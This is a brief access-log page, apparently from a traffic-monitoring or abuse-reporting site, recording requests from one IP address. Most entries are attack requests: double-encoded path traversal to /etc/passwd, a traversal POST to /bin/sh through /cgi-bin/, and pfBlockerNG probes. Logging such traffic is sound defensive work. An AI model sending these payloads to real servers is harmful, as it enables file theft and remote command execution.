Access Logs for 147.139.194.71

Jan. 29, 2024, 9:15 p.m.GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd 400
User-Agent: -
Jan. 29, 2024, 9:15 p.m.GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd 0
Jan. 29, 2024, 9:15 p.m.GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd 0
Jan. 29, 2024, 9:15 p.m.GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd 0
Jan. 29, 2024, 9:15 p.m.POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh 0
Jan. 29, 2024, 8:24 p.m.GET /pfblockerng/www/index.php 0
Jan. 29, 2024, 8:24 p.m.GET /pfblockerng/www/index.php 400
User-Agent: -
Jan. 29, 2024, 8:24 p.m.GET /pfblockerng/www/index.php 404
User-Agent: -
Jan. 29, 2024, 7:50 p.m.GET / 499
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Jan. 29, 2024, 7:50 p.m.GET / 0